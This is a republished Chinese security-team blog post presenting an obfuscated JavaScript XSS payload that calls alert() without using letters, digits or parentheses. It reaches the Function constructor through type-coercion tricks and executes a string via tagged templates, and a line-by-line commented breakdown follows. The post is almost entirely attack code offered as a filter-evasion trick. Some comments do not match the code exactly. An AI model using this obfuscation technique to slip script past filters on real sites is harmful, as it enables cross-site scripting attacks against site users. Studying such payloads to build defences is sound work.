前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >奇技淫巧(13) - XSS payload

奇技淫巧(13) - XSS payload

作者头像
Khan安全团队
发布2021-10-12 11:51:07
3690
发布2021-10-12 11:51:07
举报
文章被收录于专栏:Khan安全团队Khan安全团队

alert() 不含字母、数字和括号的有效载荷

代码语言:javascript
复制
<script>
/*
〱='',〳=〱,ᘓ=〱+{},ᘒ=〱+[][[]],〱+=[〱==〱],〳+=[!〱],ᘑ=+[],ᘐ=+!+[],ᘔ=ᘐ+ᘐ,ᘕ=ᘔ+ᘐ,ᘖ=ᘔ+ᘕ,ᘖ+=ᘖ+ᘖ+ᘔ,ᘗ=ᘖ+ᘐ,ᘘ=ᘓ[ᘔ+ᘕ],ᘙ=ᘓ[ᘐ],ᘚ=〱[ᘐ],ᘲ=〱[ᘑ],ᘳ=ᘘ+ᘙ+ᘒ[ᘐ]+〳[ᘕ]+ᘲ+ᘚ+ᘒ[ᘑ]+ᘘ+ᘲ+ᘙ+〱[ᘐ],ᘰ=[][ᘳ][ᘳ],ᘏ=''+ᘰ,ᘎ=〳[ᘐ]+〳[ᘔ]+〱[ᘕ]+ᘚ+ᘲ+ᘏ[ᘖ]+ᘏ[ᘗ],ᘰ`ᘳ${ᘎ}```     
*/


〱=''
〳=〱              //''
ᘓ=〱+{}           //'[object Object]' <- '' + [object Object]
ᘒ=〱+[][[]]       //'undefined'       <- '' + undefined 
〱+=[〱==〱]       //'true'            <- Array from true
〳+=[!〱]         //'false'            <- Array from !true
ᘑ=+[]            //0                 
ᘐ=+!+[]          //1
ᘔ=ᘐ+ᘐ           //2                  <- 1+1
ᘕ=ᘔ+ᘐ            //3                 <- 2+1
ᘖ=ᘔ+ᘕ            //5                 <- 2+2+1
ᘖ+=ᘖ+ᘖ+ᘔ         //17                <- 5+5+5+2
ᘗ=ᘖ+ᘐ           //18                <- 17+1

//letters that are used more than once defined seperately to shorten payload
ᘘ=ᘓ[ᘔ+ᘕ]         //c                 <- '[object Object]'[5]
ᘙ=ᘓ[ᘐ]          //o                 <- '[object Object]'[1]
ᘚ=〱[ᘐ]          //r                 <- 'true'[1]
ᘲ=〱[ᘑ]          //t                 <- 'true'[0]

ᘳ=              //constructor
    ᘘ+          //c                 <- '[object Object]'[5]
    ᘙ+          //o                 <- '[object Object]'[1]
    ᘒ[ᘐ]+       //n                 <- 'undefined'[1]
    〳[ᘕ]+       //s                 <- 'false'[3]
    ᘲ+          //t                 <- 'true'[0]
    ᘚ+          //r                 <- 'true'[1]
    ᘒ[ᘑ]+       //u                 <- 'undefined'[0]
    ᘘ+          //c                 <-  '[object Object]'[5]
    ᘲ+          //t                 <- 'true'[0]
    ᘙ+          //o                 <- '[object Object]'[1]
    〱[ᘐ]       //r                 <- 'true'[1]

ᘰ = [][ᘳ][ᘳ]    //Function          <- []["constructor"]["constructor"] 
ᘏ=''+ᘰ          //'function Function() { [native code] }'

ᘎ=              //alert
〳[ᘐ]+          //a                 <- 'false'[1]
〳[ᘔ]+           //l                 <- 'false'[2]
〱[ᘕ]+           //e                 <- 'true[4]
ᘚ+              //r                 <- 'true'[1]
ᘲ+              //t                 <- 'true'[0]
ᘏ[ᘖ]+           //(               <- 'function Function() { [native code] }'[17]
ᘏ[ᘗ]           //)                 <- 'function Function() { [native code] }'[18]

ᘰ`ᘳ${ᘎ}` ``     //alert()           <- []["constructor"]["constructor"]`ᘳ${"alert(234)"}` `` 
</script>
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档